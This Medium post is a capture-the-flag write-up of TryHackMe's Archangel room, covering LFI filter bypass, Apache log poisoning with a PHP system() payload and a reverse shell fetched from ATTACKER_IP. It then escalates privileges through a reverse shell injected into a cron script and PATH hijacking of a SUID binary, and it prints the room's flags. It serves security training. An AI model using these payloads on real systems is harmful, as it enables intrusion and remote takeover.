Archangel — TryHackMe Writeup 🧠💻

Boot2Root | LFI | Privilege Escalation

Shivang Tiwari · 2026-01-03 16:32 · 6 claps · 3.5 min read

#tryhackme #ctf-writeup #cybersecurity #privesc #lfi-vulnerability

Open on Medium ↗

Wiki topics: 🔒 · Cybersecurity

Archangel — TryHackMe Writeup 💻

Boot2Root | LFI | Privilege Escalation

Detailed writeups — https://www.sh1v4ng.in/writeups/thm/archangel/

Cover Image

Cover Image

Enumeration

Nmap Scan

We begin with a full port scan to identify exposed services:

nmap -p- -vv 10.49.164.244

Result:

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Port 80 is open, so we explore the web application using a browser (with Burp Suite enabled to capture requests).

Web Application Discovery

On the homepage, we find a support email address:

support@mafialive.thm

This gives us our first clue: a virtual host name.

Hostname Discovered

Hostname Discovered

Adding the Hostname

We add the discovered domain to /etc/hosts:

echo "TARGET_IP mafialive.thm" | sudo tee -a /etc/hosts

Visiting http://mafialive.thm immediately reveals Flag 1:

thm{f0und_th3_r1ght_h0st_n4m3}

Flag 1 Revealed

Flag 1 Revealed

Directory Fuzzing

Next, we enumerate directories using ffuf:

ffuf -u http://mafialive.thm/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-e .php,.html,.txt,.db,.bak \
-t 1000 -s

Interesting results:

test.php
robots.txt
index.html

The file **test.php** looks promising.

Ffuf Detects test.php

Ffuf Detects test.php

This also answers the question about the page under development.

Initial Access

Local File Inclusion (LFI)

Clicking a button on test.php reveals the following endpoint:

test.php?view=/var/www/html/development_testing/mrrobot.php

This strongly suggests Local File Inclusion (LFI).

LFI Confirmed

LFI Confirmed

Failed Attempts

test.php?view=/etc/passwd
test.php?view=../../etc/passwd

Looks like there’s filtering is in place, so we need to inspect the source code.

Source Code Disclosure

After trying various PHP filters, we eventually get:

http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php

CQo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgo8aGVhZD4KICAgIDx0aXRsZT5JTkNMVURFPC90aXRsZT4KICAgIDxoMT5UZXN0IFBhZ2UuIE5vdCB0byBiZSBEZXBsb3llZDwvaDE+CiAKICAgIDwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iL3Rlc3QucGhwP3ZpZXc9L3Zhci93d3cvaHRtbC9kZXZlbG9wbWVudF90ZXN0aW5nL21ycm9ib3QucGhwIj48YnV0dG9uIGlkPSJzZWNyZXQiPkhlcmUgaXMgYSBidXR0b248L2J1dHRvbj48L2E+PGJyPgogICAgICAgIDw/cGhwCgoJICAgIC8vRkxBRzogdGhte2V4cGxvMXQxbmdfbGYxfQoKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICBpZihpc3NldCgkX0dFVFsidmlldyJdKSl7CgkgICAgaWYoIWNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcuLi8uLicpICYmIGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcvdmFyL3d3dy9odG1sL2RldmVsb3BtZW50X3Rlc3RpbmcnKSkgewogICAgICAgICAgICAJaW5jbHVkZSAkX0dFVFsndmlldyddOwogICAgICAgICAgICB9ZWxzZXsKCgkJZWNobyAnU29ycnksIFRoYXRzIG5vdCBhbGxvd2VkJzsKICAgICAgICAgICAgfQoJfQogICAgICAgID8+CiAgICA8L2Rpdj4KPC9ib2R5PgoKPC9odG1sPgoKCg==

Let’s base64 decode to get the source script:

<!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
<?php
//FLAG: thm{explo1t1ng_lf1}
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
if(isset($_GET["view"])){
if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
include $_GET['view'];
}else{
echo 'Sorry, Thats not allowed';
}
}
?>
</div>
</body>
</html>

Filter Bypass

The filter:

Blocks ../..
Requires /var/www/html/development_testing

Bypass Payload

/var/www/html/development_testing/..//..//..//..//etc/passwd

This successfully bypasses the check and reads system files.

Filter Bypass

Filter Bypass

Exploitation

Log Poisoning

We attempt Apache log poisoning.

First, confirm we can read logs:

/var/log/apache2/access.log

Log Poisoning

Log Poisoning

Injecting PHP Payload

We poison the logs via the User-Agent header:

<?php system($_GET['c']); ?>

Apache2 Log Poisoning

Apache2 Log Poisoning

Reverse Shell

Preparing the Shell

cp /usr/share/webshells/php/php-reverse-shell.php shell.php

Edit IP and port, then host it:

python3 -m http.server 8000

Trigger download via LFI:

&c=wget http://ATTACKER_IP:8000/shell.php

Listener

rlwrap nc -lnvp 1337

Trigger the shell:

http://mafialive.thm/shell.php

Stabilize the shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

User Flag

Navigate to the user directory:

cd /home/archangel
cat user.txt

User Flag:

thm{lf1_t0_rc3_1s_tr1cky}

Privilege Escalation

Cron Job Abuse (Horizontal Escalation)

Checking cron jobs:

cat /etc/crontab

We find:

*/1 * * * * archangel /opt/helloworld.sh

Permissions:

ls -la /opt/helloworld.sh

-rwxrwxrwx archangel archangel helloworld.sh

Payload Injection

Replace contents with:

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Start listener:

rlwrap nc -lnvp 4444

User 2 Flag

Inside secret/ directory:

archangel@ubuntu:~/secret$ ls -la
ls -la
total 32
drwxrwx--- 2 archangel archangel  4096 Nov 19  2020 .
drwxr-xr-x 6 archangel archangel  4096 Nov 20  2020 ..
-rwsr-xr-x 1 root      root      16904 Nov 18  2020 backup
-rw-r--r-- 1 root      root         49 Nov 19  2020 user2.txt
archangel@ubuntu:~/secret$ cat user2.txt
cat user2.txt
thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}

Root Privilege Escalation (SUID + PATH Hijack)

The binary backup has the SUID bit set.

Decompiled logic:

system("cp /home/archangel/myfiles/* /opt/backupfiles");

Exploit via PATH Hijacking

Create malicious cp:

#!/bin/bash
/bin/bash -i

Now, we save this file and run the following commands in the terminal.

chmod +x cp
export PATH=/home/archangel/secret:$PATH

Next, we execute the binary to gain root access.

archangel@ubuntu:~/secret$ ls
ls
backup
cp
user2.txt
archangel@ubuntu:~/secret$ ./backup
./backup
bash: cannot set terminal process group (3578): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:~/secret#

Root Flag

cd /root
cat root.txt

thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}

References

LFI to RCE: https://aditya-chauhan17.medium.com/local-file-inclusion-lfi-to-rce-7594e15870e1
LFI Cheat Sheet: https://github.com/RoqueNight/LFI---RCE-Cheat-Sheet

메타데이터

post_id: 8320bf47e0cf
slug: archangel-tryhackme-writeup-8320bf47e0cf
url: https://medium.com/@sh1v4ng/archangel-tryhackme-writeup-8320bf47e0cf
canonical_url: https://medium.com/@sh1v4ng/archangel-tryhackme-writeup-8320bf47e0cf
author_url: https://medium.com/@sh1v4ng
status: ok
fetched_at: 2026-08-16 11:45:14

Archangel — TryHackMe Writeup 💻

Enumeration

Nmap Scan

Web Application Discovery

Adding the Hostname

Directory Fuzzing

Initial Access

Local File Inclusion (LFI)

Failed Attempts

Source Code Disclosure

Filter Bypass

Bypass Payload

Exploitation

Log Poisoning

Injecting PHP Payload

Reverse Shell

Preparing the Shell

Listener

User Flag

Privilege Escalation

Cron Job Abuse (Horizontal Escalation)

Payload Injection

User 2 Flag

Root Privilege Escalation (SUID + PATH Hijack)

Exploit via PATH Hijacking

Root Flag

References

More on 🔒 · Cybersecurity

It’s not about creating a idealistic utopia.

The Strange Feeling So Many Adults Can’t Explain

What It’s Like to Be A Woman On the Internet

X’s Head of Product Says iMessage, Gmail, and Phone Calls Will Collapse Within 9…

Nothing Could Kill Them. They Went Extinct Anyway.